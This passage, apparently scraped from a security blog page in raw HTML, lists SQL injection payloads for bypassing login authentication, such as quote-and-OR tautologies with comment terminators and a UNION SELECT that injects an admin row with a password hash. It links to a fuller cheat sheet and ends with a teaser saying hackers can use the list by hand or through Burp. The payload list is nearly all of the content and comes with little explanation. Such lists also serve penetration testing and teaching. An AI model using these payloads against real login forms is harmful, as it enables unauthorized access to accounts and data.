Bitstream Charter, serif;"><span style="font-size: medium;">admin") or ("1"="1</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin") or ("1"="1"--</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin") or ("1"="1"#</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin") or ("1"="1"/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin") or "1"="1</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin") or "1"="1"--</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin") or "1"="1"#</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">admin") or "1"="1"/*</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055</span></span></span></div><br /><a name="more"></a><br /><br />For detail SQL injection cheat sheet <a href="http://ceh.vn/sql/sql-cheat-sheet/">click here</a></div>

Sql Injection Authentication bypass cheat sheet

This list can be used by Hackers when testing for SQL injection authentication bypass.A Hacker can use it manually or through burp in order ...

+ Read more »